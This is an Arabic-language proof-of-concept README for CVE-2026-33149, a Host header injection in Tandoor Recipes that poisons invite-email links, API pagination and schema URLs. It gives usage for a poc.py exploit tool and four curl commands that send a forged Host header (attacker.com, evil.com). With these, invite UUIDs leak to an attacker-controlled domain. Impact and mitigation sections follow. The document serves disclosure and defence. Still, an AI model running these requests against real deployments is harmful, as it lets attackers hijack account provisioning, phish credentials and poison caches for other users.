
إثبات مفهوم لاستغلال CVE-2026-33149، وهو حقن في ترويسة المضيف (Host header) في تطبيق Tandoor Recipes يتيح تسميم روابط الدعوات وتسميم ذاكرة التخزين المؤقت. يتضمن وحدات لقبول المضيف، والترقيم الصفحي، والمخطط، وتسميم الدعوات.
يضبط Tandoor Recipes قيمة ALLOWED_HOSTS = '*' افتراضيًا في settings.py، مما يجعل Django يقبل أي قيمة في ترويسة Host الخاصة بـ HTTP دون تحقق. يستخدم التطبيق لتوليد عناوين URL مطلقة في سياقات متعددة حساسة أمنيًا. يمكن للمهاجم الذي يستطيع إرسال طلبات بترويسة مزيّفة إعادة توجيه جميع عناوين URL المولّدة من الخادم إلى نطاق يتحكم به المهاجم.
request.build_absolute_uri()Hostالتأثير الأكثر خطورة هو تسميم روابط الدعوات: عندما ينشئ المسؤول دعوة مستخدم، يحتوي البريد الإلكتروني المرسل من الخادم على رابط يشير إلى نطاق المهاجم. ينقر الضحية على بريد إلكتروني يبدو شرعيًا، ويتم تسريب رمز الدعوة، ويستخدمه المهاجم لاختطاف عملية توفير الحساب.
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — تحييد غير صحيح لترويسات HTTP لصياغة البرمجة النصية |
| CVSS v3.1 | 8.1 عالية — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| الإصدار المتأثر | Tandoor Recipes ≤ 2.5.3 |
| البائع | TandoorRecipes/recipes |
الملف: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
يُعد ALLOWED_HOSTS في Django إجراءً أمنيًا يتحقق من ترويسة Host مقابل قائمة بيضاء. يؤدي البدل الشامل '*' إلى تعطيل هذا التحقق تمامًا، مما يسمح بأي قيمة عشوائية.
الملف: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
يبني request.build_absolute_uri() عناوين URL باستخدام request.get_host()، الذي يعيد قيمة ترويسة Host الخام عندما لا يقيدها ALLOWED_HOSTS. يتم تضمين معرّف الدعوة UUID — وهو رمز سري — في عنوان URL الذي يشير الآن إلى المهاجم.
build_absolute_uri() لعناوين URL الخاصة بـ next/previous┌──────────┐ ① طلب مزيّف ┌─────────────────┐
│ المهاجم │ ──────────────────────────────→│ خادم Tandoor │
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
تستخدم "attacker.com"
│
▼
┌────────────────┐
│ خادم SMTP │
└────────┬───────┘
│
③ بريد إلكتروني برابط مسموم:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ الضحية │
│ (ينقر على الرابط) │
└────────┬───────┘
│
④ إرسال UUID إلى المهاجم
│
▼
┌────────────────┐
│ المهاجم │
│ يستخدم UUID في │
│ الخادم الحقيقي │
└────────────────┘
requestspip install requests
# تشغيل جميع وحدات التحقق مع المصادقة الأساسية
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# تشغيل جميع الوحدات مع ملفات تعريف الارتباط للجلسة
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# تسميم رابط الدعوة فقط
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| الوحدة | الوصف |
|---|---|
host-accept | يتحقق من أن الهدف يقبل ترويسات Host عشوائية (ALLOWED_HOSTS = '*') |
pagination | يؤكد أن عناوين URL الخاصة بترقيم صفحات API تعكس النطاق المحقون |
schema | يؤكد أن عناوين URL الخاصة بخادم مخطط OpenAPI تعكس النطاق المحقون |
invite | ينشئ رابط دعوة مسمومًا — ناقل الهجوم الأساسي |
all | يشغل جميع الوحدات بالتسلسل |
1. قبول ترويسة المضيف
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# المتوقع: 200 (ثغرة) | 400 (تم التصحيح)
2. انعكاس عنوان URL الخاص بترقيم الصفحات
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# المتوقع: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. انعكاس عنوان URL الخاص بالمخطط
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# المتوقع: http://evil.com/...
4. تسميم رابط الدعوة
curl -s http://TARGET:8085/api/invite-link/ \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "X-CSRFToken: CSRF" \
-H "Host: attacker.com" \
-d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# يتلقى الضحية بريدًا إلكترونيًا: "Click: http://attacker.com/invite/<uuid>"
| مجال التأثير | الوصف | الخطورة |
|---|---|---|
| اختطاف رمز الدعوة | يلتقط المهاجم معرّف UUID الخاص بالدعوة عبر رابط بريد مسموم، مختطفًا عملية توفير الحساب | حرجة |
| تصيد بيانات الاعتماد | يصل الضحية إلى نطاق يتحكم به المهاجم متوقعًا صفحة تسجيل شرعية | عالية |
| تسميم ذاكرة التخزين المؤقت | في النشرات التي تستخدم وكلاء تخزين مؤقت، يلوث استجابة مسمومة واحدة ذاكرة التخزين المؤقت لجميع المستخدمين | عالية |
| تضليل عملاء API | تعيد عناوين URL الخاصة بترقيم الصفحات والمخطط توجيه مستهلكي API إلى بنية المهاجم التحتية | متوسطة |
اضبط ALLOWED_HOSTS لسرد أسماء المضيفين الصالحة لديك صراحةً:
# docker-compose.yml أو .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost
Host غير المتوقعة قبل وصولها إلى DjangoUSE_X_FORWARDED_HOST = False — تأكد من أن Django لا يثق في X-Forwarded-Host من مصادر غير موثوقة (الافتراضي هو False)SITE_URL صريحًا لتوليد روابط البريد الإلكتروني بدلاً من الاعتماد على request.build_absolute_uri()يُقدَّم إثبات المفهوم هذا لأغراض الاختبار الأمني المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه الأداة.
Filipe Gaudard — باحث أمن هجومي | eWPT | eWPTx